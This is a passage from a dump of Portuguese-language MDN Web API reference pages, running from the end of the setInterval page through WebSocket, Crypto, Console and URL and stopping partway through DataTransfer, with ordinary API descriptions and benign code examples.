action\n\nNotes\n-----\n\nThe `setInterval()` function is commonly used to set a delay for functions that are executed again and again, such as animations.\n\nYou can cancel the interval using `WindowOrWorkerGlobalScope.clearInterval()` (en-US).\n\nIf you wish to have your function called *once* after the specified delay, use `WindowOrWorkerGlobalScope.setTimeout()` (en-US).\n\n### Ensure that execution duration is shorter than interval frequency\n\nIf there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using `WindowOrWorkerGlobalScope.setTimeout` (en-US). For example, if using `setInterval` to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.\n\nIn these cases, a recursive `setTimeout()` pattern is preferred:\n\n\n```js\n(function loop() {\n  setTimeout(function () {\n    // Your logic here\n\n    loop();\n  }, delay);\n})();\n```\n\n\nIn the above snippet, a named function `loop()` is declared and is immediately executed. `loop()` is recursively called inside `setTimeout()` after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.\n\n### Throttling of intervals\n\n`setInterval()` is subject to the same throttling restrictions in Firefox as `setTimeout()` (en-US); see Reasons for delays longer than specified (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-setinterval-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* JavaScript timers\n* `WindowOrWorkerGlobalScope.setTimeout` (en-US)\n* `WindowOrWorkerGlobalScope.clearTimeout`\n* `WindowOrWorkerGlobalScope.clearInterval` (en-US)\n* `window.requestAnimationFrame`\n* *Daemons* management"}
{"title":"HTMLContentElement.getDistributedNodes() - APIs da Web","text":"HTMLContentElement.getDistributedNodes()\n========================================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO método **`HTMLContentElement.getDistributedNodes()`** retorna um static `NodeList` do distributed nodes associado com este elemento `<content>`.\n\nSyntaxe\n-------\n```\n\nvar nodeList = object.getDistributedNodes()\n```\n\nExemplo\n-------\n\n\n```js\n//Pegue os nós distribuídos\nvar nodes = myContentObject.getDistributedNodes();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # htmlslotelement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* HTMLContentElement"}
{"title":"ClipboardEvent - APIs da Web","text":"ClipboardEvent\n==============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **`ClipboardEvent`** representa eventos correlatos à modificação da área de transferência, i. e., eventos de cortar (`cut (en-US)`), de copiar (`copy (en-US)`), e de colar (`paste (en-US)`).\n\nConstrutor\n----------\n\n`ClipboardEvent()` (en-US)\n\nCria um evento `ClipboardEvent` com os parâmetros fornecidos.\n\nPropriedades\n------------\n\n*Ainda, propriedades herdadas de sua superclasse `Event`*.\n\n`ClipboardEvent.clipboardData` (en-US) Somente leitura \n\né um objeto `DataTransfer` contendo informação oriunda das operações de `cut (en-US)`, de `copy (en-US)`, ou de `paste (en-US)` iniciadas pelo usuário, juntamente com sua espécie/tipo MIME.\n\nMethods\n-------\n\n*Não há método próprio; métodos herdados de `Event`*.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Clipboard API and events # clipboard-event-interfaces |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* Copy-related events: `copy (en-US)`, `cut (en-US)`, `paste (en-US)`"}
{"title":"WebSockets - APIs da Web","text":"WebSockets\n==========\n\nWebSockets é uma tecnologia avançada que torna possível abrir uma sessão de comunicação interativa entre o navegador do usuário e um servidor. Com esta API, você pode enviar mensagens para um servidor e receber respostas orientadas a eventos sem ter que consultar o servidor para obter uma resposta.\n\nDocumentação\n------------\n\nEscrevendo aplicações cliente WebSocket\n\nUm tutorial para escrever clientes WebSocket para ser executado no browser.\n\nReferencias WebSockets (en-US)\n\nUma referência para a API WebSocket do lado do cliente.\n\n(TBD)Escrevendo servidores WebSocket\n\nUm guia para escrever código do lado do servidor para lidar com o protocolo WebSocket.\n\nSaiba mais...\n\nFerramentas\n-----------\n\n* Socket.IO: Uma poderosa plataforma cruzada para API WebSocket Node.js.\n* WebSocket-Node: Uma implementação para servidor da API WebSocketNode.js.\n* Uma lista mais ampla de frameworks e bibliotecas aqui\nTópicos Relacionados\n--------------------\n\n* AJAX, JavaScript\nVeja Também\n-----------\n\n* RFC 6455 - O Protocolo WebSocket\n* Especificação da API WebSocket\n* Eventos enviados para servidor (en-US)\n* WebSocket.us - Uma comunidade sem fins lucrativos baseada no site WebSocket\nNavegadores Compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"WebSocket - APIs da Web","text":"WebSocket\n=========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nO objeto `WebSocket` provê uma API para criação e gerenciamento de uma conexão WebSocket com um servidor, bem como o envio e recebimento de dados através dessa conexão.\n\nO construtor do WebSocket aceita um parâmetro obrigatório e um opcional:\n```\n\nWebSocket WebSocket(\n  in DOMString url,\n  in optional DOMString protocols\n);\n\nWebSocket WebSocket(\n  in DOMString url,\n  in optional DOMString[] protocols\n);\n```\n\n\n`url`\n\nA URL da devida conexão; esta deve ser a URL da qual o servidor WebSocket irá responder.\n\n`protocols` Optional\n\nUm único protocolo em formato texto ou uma lista de textos de protocolo. Estes textos são usados para indicar sub-protocolos, assim então um único servidor pode implementar múltiplos sub-protocolos WebSocket (por exemplo, você pode querer um servidor capaz de manipular diferentes tipos de interações dependendo do protocolo especificado). se você não especificar um protocolo em texto, será assumido um texto vazio.\n\nO construtor pode lançar exceções:\n\n`SECURITY_ERR`\n\nA porta a qual a conexão está sendo executada está bloqueada.\n\nVisão Geral do método\n---------------------\n\n| `void close(É opcional: unsigned long code, É opcional: DOMString reason);` |\n| --- |\n| `void send(in DOMString data);` |\n\nAtributos\n---------\n\n| Attributo | Tipo | Descrição |\n| --- | --- | --- |\n| `binaryType` | `DOMString` | Uma string indica o tipo de dado binário que está sendo transmitido pela conexão. Este deve ser tanto \"blob\" se o objeto DOM `Blob` estiver sendo usado ou \"arraybuffer\" se os objetos `ArrayBuffer` estiver sendo usada |\n| `bufferedAmount` | `unsigned long` | O número de bites de dados que tem sid consultado usando chamadas para send mas não ainda para a rede.Estes valor reseta para zero uma vez que todos os dados tem sido mandados.Este valor não reseta para zero quando a conexão está fechada, se você continuar chamando send, isto continuará escalando. **Leitura online** |\n| `extensions` | `DOMString` | As extensões selecionadas pelo servidor. Este é atualmente apenas a string vazia ou uma lista de extensões negociadas pela conexão. |\n| `onclose` | `EventListener` | Um event listener para ser chamado quando o `readyState` da conexão do WebSocket mudar para `CLOSED`. O listener recebe um `CloseEvent` \"close\". |\n| `onerror` | `EventListener` | Um event listener para ser chamado quando ocorrer um erro. Este é um evento simples chamado \"erro\". |\n| `onmessage` | `EventListener` | Um event listener para ser chamado quando uma mensagem é recebida do servidor. O listener recebe um `MessageEvent` (en-US) \"message\". |\n| `onopen` | `EventListener` | Um event listener para ser chamado quando o `readyState` da conexão do WebSocket mudar para `OPEN`, isso indica que a conexão está pronta para enviar e receber dados. O evento é simples, com o nome \"open\". |\n| `protocol` | `DOMString` | Uma sequência de caracteres que indica o nome do sub-protocolo selecionado pelo servidor, este será um dos parâmetros especificados no `protocolo` ao criar o objeto WebSocket. |\n| `readyState` | `unsigned short` | O estado atual da conexão, este é um dos Ready state constants. **Apenas leitura.** |\n| `url` | `DOMString` | O URL resolvido pelo construtor. Este é sempre um URL absoluto. **Apenas leitura.** |\n\nConstantes\n----------\n\n### Estados de constantes prontas\n\nEssas constantes são usadas pelo atributo `readyState` para descrever o estado da conexão do WebSocket.\n\n| Constante | Valor | Descrição |\n| --- | --- | --- |\n| `CONNECTING` | `0` | A conexão ainda não está aberta. |\n| `OPEN` | `1` | A conexão está aberta e pronta para se comunicar. |\n| `CLOSING` | `2` | A conexão está em processo de fechamento. |\n| `CLOSED` | `3` | A conexão está fechada ou não foi possível abrir. |\n\nMétodos\n-------\n\n### close()\n\nFecha a conexão do WebSocket ou a tentativa de conexão, se houver. Se a conexão já for `CLOSED`, este método não faz nada.\n```\n\nvoid close(\n  É opcional: unsigned short code,\n  É opcional: DOMString reason\n);\n```\n\n\n#### Parametros\n\n`code` Optional\n\nUm valor numérico que indica o código de status explicando por que a conexão está sendo fechada. Se esse parâmetro não for especificado, é assumido um valor padrão de 1000 (indicando um fechamento \"completo da transação\"). Veja a lista de status de códigos na `CloseEvent` página de valores permitidos.\n\n`reason` Optional\n\nUma string legível para humanos que explica por que a conexão está se fechando. Esta seqüência de caracteres não deve ter mais de 123 bytes de texto UTF-8 (**não** caracteres).\n\n#### Exceções lançadas\n\n`INVALID_ACCESS_ERR`\n\nFoi especificado um `código`inválido.\n\n`SYNTAX_ERR`\n\nA string `reason é muito longa ou contém substitutos não comparados.`\n\n\n**Nota:** `Note: No Gecko, este método não suporta nenhum parâmetro antes do Gecko 8.0.`\n\n### `send()`\n\n`Transmite dados para o servidor através da conexão WebSocket.`\n```\n\nvoid send(\n  in DOMString data\n);\n\nvoid send(\n  in ArrayBuffer data\n);\n\nvoid send(\n  in Blob data\n);\n```\n\n\n#### `Parametros`\n\n`data`\n\n`Uma sequência de texto para enviar para o servidor.`\n\n#### `Exceções lançadas`\n\n`INVALID_STATE_ERR`\n\n`A conexão não está atualmente OPEN .`\n\n`SYNTAX_ERR`\n\n`Os dados são uma string que tem substituto não comparado.`\n\n\n**Nota:** `Nota: A implementação do método send () de Gecko difere um pouco da especificação em Gecko 6.0. Gecko retorna um boolean indicando se a conexão ainda está aberta (por extensão, ou os dados estão em fila ou transmitidos com sucesso). Isso é corrigido em Gecko 8.0.`\n\n`A partir de Gecko 11.0, o suporte para `ArrayBuffer` está implementado, mas não `Blob` tipos de dados.`\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebSockets Standard # the-websocket-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n`Veja também`\n-------------\n\n* `Escrevendo aplicativos clientes do WebSocket`"}
{"title":"Crypto - APIs da Web","text":"Crypto\n======\n\nA interface **`Crypto`** apresenta características de criptografia básica disponíveis no contexto atual. Isto permite acesso a um forte gerador criptográfico de números aleatórios e a criptografias primitivas.\n\nUm objeto com essa interface está disponível no contexto web via propriedade `Window.crypto` .\n\nPropriedades\n------------\n\n*Esta interface implementa propriedades definidas em `RandomSource` (en-US).*\n\n`Crypto.subtle` \nExperimental\nSomente leitura \n\nRetorna um objeto `SubtleCrypto` provendo acesso a criptografias primitivas comuns, como hashing, signing, encryption ou decryption.\n\nMétodos\n-------\n\n*Esta interface implementa métodos definidos em `RandomSource` (en-US).*\n\n`RandomSource.getRandomValues()`\n\nPreenche a `TypedArray` (en-US) com valores criptografados aleatórios.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Cryptography API # crypto-interface |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Components.utils.importGlobalProperties\nDicionário\n----------\n\n\"Key\" = \"Chave\""}
{"title":"Window.performance - APIs da Web","text":"Window.performance\n==================\n\nA API Web Performance permite páginas da web acessarem algumas funções para medir a performance de páginas e aplicações da web, incluindo a API Navigation Timing e dados de tempo de alta resolução.Métodos\n-------\n\n`performance.mark()` (en-US)\n\nMapeia um `DOMHighResTimeStamp` (en-US) para o nome especificado representando a quantidade de milissegundos passados desde um momento de referência.\n\n`performance.now()`\n\nRetorna um `DOMHighResTimeStamp` (en-US) representando a quantidade de milissegundos passados desde um momento de referência.\n\nPropriedades\n------------\n\n`performance.timing` (en-US)\n\nÉ um objeto `PerformanceTiming` (en-US) contendo informações de performance relacionadas a latência.\n\n`performance.navigation` (en-US)\n\nÉ um objeto `PerformanceNavigation` (en-US) representando o tipo de navegação que ocorre no contexto de navegação dado, como a quantidade de redirecionamentos necessários para buscar o recurso.\n\nperformance.memory\n\nUma extensao não-padrão adicionada ao Chrome."}
{"title":"Console - APIs da Web","text":"Console\n=======\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nO objeto `console` fornece acesso ao console de debug do navegador (por exemplo, o Web Console do Firefox). O seu funcionamento específico varia de navegador para navegador, mas existe um conjunto de ferramentas que na prática são fornecidas normalmente.\n\nEsta página documenta os Métodos disponíveis no objeto `console` e fornece alguns exemplos de Uso.\n\nMétodos\n-------\n\n`console.assert(expression, object[, object...])`\n\nEmite uma mensagem e traça a sequência de operações até o primeiro argumento for falso.\n\n`console.count([label])`\n\nMostra o número de vezes que esta linha foi chamada com a label fornecida.\n\n`console.debug(object[, object...])` \nDeprecated\n\nUm atalho para `log()`; que foi adicionado para melhorar a compatibilidade de páginas já existentes que utilizavam `debug()`. Porém, ao invés destes comandos você deve utilizar `console.log()`.\n\n`console.dir(object)`\n\nExibe uma listagem interativa das propriedades de um objeto JavaScript especificado. Esta listagem permite a você expandir o objeto para visualizar o conteúdo de objetos filhos.\n\n`console.error(object[, object...])`\n\nEmite uma mensagem de erro. Você pode usar substituição de string e outros argumentos adicionais com este método. Consulte Uso de substituição de string.\n\n`console.exception(object[, object...])`\n\nUm atalho para `error();`\n\n`console.group(object[, object...])` (en-US)\n\nCria um novo grupo em linha e recua todas as mensagens seguintes para um nível de indentação superior. Para voltar um nível, utilize `groupEnd()`. Consulte Uso de grupos no console.\n\n`console.groupCollapsed(object[, object...])` (en-US)\n\nCria um novo grupo em linha e recua todas as mensagens seguintes para um nível de indentação superior; ao contrário de `group()`, o grupo em linha começa recolhido. Para revelar seu conteúdo, basta clicar no botão de revelação para expandí-lo. Para recuar um nível, utilize `groupEnd()`. Consulte Uso de grupos no console.\n\n`console.groupEnd()` (en-US)\n\nSai do grupo em linha atual. Veja Uso de grupos no console.\n\n`console.info(object[, object...])`\n\nInformações de registro. Você pode utilizar substituição de string e outros argumentos com este método. Consulte Uso de substituição de string.\n\n`console.log(object[, object...])`\n\nUtilizado para a emissão de informações de registro em geral. Você pode utilizar substituição de string e outros argumentos com este método. Consulte Uso de substituição de string.\n\n`console.profile( [profileLabel] )` (en-US)\n\nInicia o JavaScript profiler (en-US). Você pode especificar qualquer label opcional para o perfil.\n\n`console.profileEnd()` (en-US)\n\nInterrompe o profiler. Você pode ver o profile resultante no JavaScript profiler (en-US).\n\n`Console.table()`\n\nExibe dados, como objeto e array, como uma tabela.\n\n`console.time(label)`\n\nInicia um contador de tempo com o nome especificado no parâmetro *label*. Até 10.000 contadores de tempo podem ser rodados por página.\n\n`console.timeEnd(label)`\n\nInterrompe o contador de tempo especificado e emite o tempo e registros do contador de tempo em milisegundos desde o seu início. Veja Contadores de Tempo.\n\n`console.trace()` (en-US)\n\nEmite um traçado de pilha. See Traçados de pilha.\n\n`console.warn(object[, object...])`\n\nEmite uma mensagem de alerta. Você pode utilizar substituição de string e argumentos adicionais com este método. Veja Uso de substituição de string.\n\nUso\n---\n\n### Output de texto para o console\n\nA utilização mais frequente do console é realizar o log de texto e de outros dados. Há quatro categorias de output que podem ser geradas, utilizando os métodos `console.log()`, `console.info()`, `console.warn()` e o `console.error()`. Cada um destes resultam em outputs que possuem estilos diferentes no log, e você pode utilizar os controles de filtragem fornecidos pelo navegador para ver apenas os outputs que lhe interessam.\n\nHá duas maneiros da utilizar cada um dos métodos de outuput. Você pode simplemente passar uma lista dos objetos cuja representação em string será concatenadas em uma string e então realizar o output para o console, ou você pode passar uma string contendo zero ou mais substituições de strings seguidas por uma lista de objetos para serem utilizados na substituição.\n\n#### Output de um único objeto\n\nA forma mais simples de utilizar os métodos de log é realizar o output de um único objeto:\n\n\n```js\nvar algumObjeto = { str: \"Algum texto\", id: 5 };\nconsole.log(algumObjeto);\n```\n\n\nO output vai se parecer como algo assim:\n```\n\n[09:27:13.475] ({str:\"Algum texto\", id:5})\n```\n\n\n#### Output de múltiplos objetos\n\nVocê também pode realizar o output de múltiplos objetos ao simplesmente listá-los ao chamar o método de log, desta forma:\n\n\n```js\nvar carro = \"Fusca\";\nvar algumObjeto = { str: \"Algum texto\", id: 5 };\nconsole.info(\n  \"Meu primeiro carro era um \",\n  carro,\n  \". O objeto é: \",\n  algumObjeto,\n);\n```\n\n\nO output será algo assim:\n```\n\n[09:28:22.711] Meu primeiro carro era um Fusca. O objeto é:  ({str:\"Algum texto\", id:5})\n```\n\n\n#### Uso de substituição de string\n\nO Gecko 9.0 introduziu o suporte à substituição de strings. Ao fornecer uma string para um dos métodos do console que aceitam uma string, você pode utilizar estas strings de substituição:\n\n| String de substituição | Descrição |\n| --- | --- |\n| %o | Emite um link para o objeto JavaScript. Clicar no link abre um inspetor. |\n| %d ou %i | Emite uma numero inteiro. A formatação ainda não possui suporte. |\n| %s | Emite uma string. |\n| %f | Emite um número de ponto flutuante. A formatação ainda não possui suporte. |\n\nCada um destes puxam o próximo argumento na lista de parâmetros após a string fornecida inicialmente. Por exemplo:\n```\n\nfor (var i=0; i<5; i++) {\n  console.log(\"Olá, %s. Você me chamou pela %dª vez.\", \"João\", i+1);\n}\n```\n\n\nO output será algo assim:\n```\n\n[13:14:13.481] Olá, João. Você me chamou pela 1ª vez.\n[13:14:13.483] Olá, João. Você me chamou pela 2ª vez.\n[13:14:13.485] Olá, João. Você me chamou pela 3ª vez.\n[13:14:13.487] Olá, João. Você me chamou pela 4ª vez.\n[13:14:13.488] Olá, João. Você me chamou pela 5ª vez.\n```\n\n\n#### Estilizando o output no console\n\nYou can use the `\"%c\"` directive to apply a CSS style to console output:\n\n\n```js\nconsole.log(\"%cMy stylish message\", \"color: red; font-style: italic\");\n```\n\n\n![](/pt-BR/docs/Web/API/console/console-style.png)\n\n### Usando grupos no console\n\nYou can use nested groups to help organize your output by visually combining related material. To create a new nested block, call `console.group()`. The `console.groupCollapsed()` method is similar, but creates the new block collapsed, requiring the use of a disclosure button to open it for reading.\n\n**Nota:** Collapsed groups are not supported yet in Gecko; the `groupCollapsed()` method is the same as `group()` at this time.\n\n**Nota:** To exit the current group, simply call `console.groupEnd()`.\n\n**Nota:** For example, given this code:\n\n\n```js\nconsole.log(\"This is the outer level\");\nconsole.group();\nconsole.log(\"Level 2\");\nconsole.group();\nconsole.log(\"Level 3\");\nconsole.warn(\"More of level 3\");\nconsole.groupEnd();\nconsole.log(\"Back to level 2\");\nconsole.groupEnd();\nconsole.debug(\"Back to the outer level\");\n```\n\n\nThe output looks like this:\n\n![nesting.png](/pt-BR/docs/Web/API/console/nesting.png)\n\n### Temporizadores\n\nIn order to calculate the duration of a specific operation, Gecko 10 introduced the support of timers in the `console` object. To start a timer, call the `console.time()` method, giving it a name as only parameter. To stop the timer, and to get the elapsed time in miliseconds, just call the `console.timeEnd()` method, again passing the timer's name as the parameter. Up to 10,000 timers can run simultaneously on a given page.\n\nFor example, given this code:\n\n\n```js\nconsole.time(\"answer time\");\nalert(\"Click to continue\");\nconsole.timeEnd(\"answer time\");\n```\n\n\nwill log the time needed by the user to discard the alert box:\n\n![timerresult.png](/pt-BR/docs/Web/API/console/timerresult.png)\n\nNotice that the timer's name is displayed both when the timer is started and when it's stopped.\n\n**Nota:** It's important to note that if you're using this to log the timing for network traffic, the timer will report the total time for the transaction, while the time listed in the network panel is just the amount of time required for the header. If you have response body logging enabled, the time listed for the response header and body combined should match what you see in the console output.\n\n### Stack traces\n\nThe console object also supports outputting a stack trace; this will show you the call path taken to reach the point at which you call `console.trace()` (en-US). Given code like this:\n```\n\nfoo();\n\nfunction foo() {\n  function bar() {\n    console.trace();\n  }\n  bar();\n}\n```\n\n\nThe output in the console looks something like this:\n\n![](/pt-BR/docs/Web/API/console/api-trace2.png)\n\nNotes\n-----\n\n* At least in Firefox, if a page defines a console object, that object overrides the one built into Firefox.\n* Prior to Gecko 12.0, the console object's methods only work when the Web Console is open. Starting with Gecko 12.0, output is cached until the Web Console is opened, then displayed at that time.\n* It's worth noting that the Firefox's built-in `console` object is compatible with the one provided by Firebug.\nSee also\n--------\n\n* Tools\n* Web Console - how the Web Console in Firefox handles console API calls\n* Remote debugging - how to see console output when the debugging target is a mobile device\n* Debugging apps on Firefox OS - using the App Manager to debug apps running on Firefox OS\n* On-device console logging - how to do logging on Firefox OS devices\n### Other implementations\n\n* Google Chrome DevTools;\n* Firebug;\n* Internet Explorer;\n* Safari."}
{"title":"URL - APIs da Web","text":"URL\n===\n\nA interface **`URL`** é usada para analisar, construir, normalizar e codificar URLs. Ela trabalha com a disponibilização de propriedades para facilitar a leitura e modificar componentes da URL.\n\nNormalmente você cria um novo objeto `URL` especificando a URL como string quando seu construtor é chamado, ou provendo uma URL relativa e URL base. Você pode facilmente ler e analisar os compoentes de uma URL ou fazer alterações na URL.\n\nSe o seu navegador não tem suporte ao construtor `URL()` (en-US), você pode acessar o objeto URL utilizando a interface `Window` propriedade `URL`. Certifique-se de verificar se algum de seus navegadores precisa deste prefixo.\n\n**Note:** This feature is available in Web Workers\n\nConstrutor\n----------\n\n`URL()` (en-US)\n\n Cria e retorna o objeto `URL` referenciando a URL especificada utilizando uma sring URL\n absolute, ou uma string URL relativa e uma string URL base.\n\n\nPropriedades\n------------\n\n`hash`\n\nUma `USVString` (en-US) contendo o `'#'` seguido pelo fragmento identificador da URL.\n\n`host`\n\nUma `USVString` (en-US) contendo o domínio (that is the *hostname*) seguido por (se a porta foi especificada) um `':'` e a *port* da URL.\n\n`hostname`\n\nUma `USVString` (en-US) contendo o domínio da URL.\n\n`href`\n\nUma função stringifier (en-US) que retorna uma `USVString` (en-US) com toda a URL.\n\n`origin` Somente leitura \n\nRetorna uma `USVString` (en-US) contendo a origem da URL, este é seu esquema, domínio e sua porta.\n\n`password`\n\nUma `USVString` (en-US) com a senha especificada antes do nome do domínio.\n\n`pathname`\n\nUma `USVString` (en-US) contendo a inicial `'/'` seguido pelo caminho da URL, não inclui a query string ou fragmento.\n\n`port`\n\nUma `USVString` (en-US) contendo o número da porta da URL.\n\n`protocol`\n\nUma `USVString` (en-US) contendo o esquema de protocolo da URL, incluindo o final `':'`.\n\n`search`\n\nUma `USVString` (en-US) indicando a string de parâmetros de URL's; Se algum parâmetro é disponibilizado, esta string inclui todos eles começando pelo caracter `?`.\n\n`searchParams` Somente leitura \n\nUm objeto `URLSearchParams` que pode ser utilizado para acessar individualmente os parâmetros encontrados em `search`.\n\n`username`\n\nUma `USVString` (en-US) contendo o nome de usuário especificado antes do nome do domínio.\n\nMétodos\n-------\n\n`toString()`\n\nRetorna uma `USVString` (en-US) com toda a URL. Isto é um sinônimo para `URL.href`, embora não pode ser usado para modificar o valor.\n\n`toJSON()`\n\nRetorna uma `USVString` (en-US) com toda a URL. Ela retorna a mesma string da propriedade `href`.\n\nMétodos estáticos\n-----------------\n\n`createObjectURL()`\n\nRetorna um `DOMString` contendo uma única blob URL, isto é a URL com `blob:` com seu esquema, seguido de uma string com identificador único do objeto no navegador.\n\n`revokeObjectURL()`\n\nAnula uma URL criada anteriormente utilizando o `URL.createObjectURL()`.\n\nNotas de uso\n------------\n\nO construtor recebe o parâmetro `url`, e o parâmetro opcional `base` para usar como base do parâmetro `url` é uma URL relativa:\n\n\n```js\nconst url = new URL(\"../cats\", \"http://www.example.com/dogs\");\nconsole.log(url.hostname); // \"www.example.com\"\nconsole.log(url.pathname); // \"/cats\"\n```\n\n\nPropriedades da URL podem ser definidas para construir a URL:\n\n\n```js\nurl.hash = \"tabby\";\nconsole.log(url.href); // \"http://www.example.com/cats#tabby\"\n```\n\n\nAs Urls são codificadas de acordo com as regras encontradas em RFC 3986. Para instância:\n\n\n```js\nurl.pathname = \"démonstration.html\";\nconsole.log(url.href); // \"http://www.example.com/d%C3%A9monstration.html\"\n```\n\n\nA interface `URLSearchParams` é usada pra criar e manipular a query string da URL.\n\nPara obter os parâmetros da URL atual, você pode utilizar isso:\n\n\n```js\n// https://some.site/?id=123\nconst parsedUrl = new URL(window.location.href);\nconsole.log(parsedUrl.searchParams.get(\"id\")); // \"123\"\n```\n\n\nO método `toString()` de `URL` apenas retorna o valor da propriedade `href`, para que o construtor possa ser usado pra normalizar e codificar diretamente a URL.\n\n\n```js\nconst response = await fetch(\n  new URL(\"http://www.example.com/démonstration.html\"),\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # url |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill de `URL` em `core-js`\n* URL API (en-US)\n* O que é uma URL (en-US)\n* A propriedade contem uma `URL` objeto: `URL`.\n* `URLSearchParams`."}
{"title":"Document.origin - APIs da Web","text":"Document.origin\n===============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade read-only **`Document.origin`** retorna a origem do documento. Na maioria dos casos, essa propriedade é equivalente a `document.defaultView.location.origin`.\n\nSintaxe\n-------\n```\n\nvar origin = document.origin;\n```\n\nExemplos\n--------\n\n\n```js\nvar origin = document.origin;\n// Nesta página, retorna:'https://developer.mozilla.org'\n\nvar origin = document.origin;\n// Em \"about:blank\", retorna:'null'\n\nvar origin = document.origin;\n// Em \"data:text/html,<b>foo</b>\", retorna:'null'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-origin-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* A propriedade `URLUtils.origin`."}
{"title":"DataTransfer - APIs da Web","text":"DataTransfer\n============\n\nO objeto `DataTransfer` é usado para guardar os dados que estão sendo arrastados durante uma operação de Drag e Drop (arrastar e soltar). Ele pode guardar um ou mais itens de dados, cada um de um ou mais tipos de dados. Para mais informações sobre drag e drop (arrastar e soltar), veja Drag and Drop.\n\nEsse objeto está disponível pela propriedade `dataTransfer` de todos os eventos de drag. Ele não pode ser criado separadamente.\n\nVisão geral das propriedades\n----------------------------\n\n| Propriedades | Tipo |\n| --- | --- |\n| `dropEffect` | `String` |\n| `effectAllowed` | `String` |\n| `files` | `FileList` |\n| `mozCursor` \nNon-standard\n | `String` |\n| `mozItemCount` \nNon-standard\n | `unsigned long` |\n| `mozSourceNode` \nNon-standard\n | `Node` |\n| `mozUserCancelled` | `Boolean` |\n| `types` | `DOMStringList` |\n\nVisão geral dos métodos\n-----------------------\n\n| `void addElement(in Element element)` |\n| --- |\n| `void clearData([in String type])` |\n| `String getData(in String type)` |\n| `void setData(in String type, in String data)` |\n| `void setDragImage(in nsIDOMElement image, in long x, in long y)` |\n| `void mozClearDataAt([in String type, in unsigned long index])` |\n| `nsIVariant mozGetDataAt(in String type, in unsigned long index)` |\n| `void mozSetDataAt(in String type, in nsIVariant data, in unsigned long index)` |\n| `StringList mozTypesAt([in unsigned long index])` |\n\nPropriedades\n------------\n\n### dropEffect\n\nO efeito atual que será usado, e deve sempre ser um dos possíveis valores de `effectAllowed`. Isso afetará qual cursor será exibido enquanto arrasta.\n\nPara os eventos `dragenter` e `dragover`, o `dropEffect` será inicializado com base na ação que o usuário está solicitando. Como isso é determinado é específico da plataforma, mas, normalmente o usuário pode pressionar teclas de modificação, como a tecla alt, para ajustar qual ação é desejada. Com um manipulador de evento para os eventos `dragenter` e `dragover, o dropEffect` deverá ser modificado se a ação desejada é diferente da ação que o usuário está solicitando.\n\nPara os eventos `dragstart`, `drag`, e `dragleave`, o `dropEffect` será inicializado como \"none\". Qualquer valor atribuído à `dropEffect` será definido, mas o valor não será usado para nada.\n\nPara os eventos `drop` e `dragend`, o `dropEffect` será inicializado para a ação que foi desejada, que será o valor que o `dropEffect` tinha depois do último evento de `dragenter` ou `dragover`. Em um evento de dragend, por exemplo, se a o `dropEffect` desejado for \"move\", então os dados que estão sendo arrastados deverão ser removidos da origem.\n\nValores possíveis:\n\n* **copy**: Uma cópia do ítem de origem é feita na nova localização.\n* **move**: Um ítem é movido para a nova localização.\n* **link**: Um link é estabelecido com a origem na nova localização.\n* **none**: O ítem não pode ser solto.\n\nAtribuindo qualquer outro valor não terá efeito e o valor antigo será mantido.\n\n### effectAllowed\n\nEspecifica os efeitos que são permitidos para esse drag. Você pode definir isso no evento `dragstart` para definir os efeitos desejados para a origem. Com os eventos `dragenter` e `dragover`, o `effectAllowed` será definido para qualquer que seja o valor que foi atribuído durante o evento `dragstart`. Isso pode ser usado para determinar quais efeitos são permitidos. Atribuindo um valor para `effectAllowed` nos outros eventos, exceto `dragstart`, não terá efeito.\n\nValores possíveis:\n\n* **copy**: Uma cópia do ítem de origem pode ser feita na nova localização.\n* **move**: Um itém pode ser movido para a nova localização.\n* **link**: Um link pode ser estabelicido com a origem na nova localização.\n* **copyLink**: As operações de copy e link são permitidas.\n* **copyMove**: As operações de copy e move são permitidas.\n* **linkMove**: As operações de link e move são permitidas.\n* **all**: Todas as operações são permitidas.\n* **none**: O ítem não pode ser solto.\n* **uninitialized**: O valor 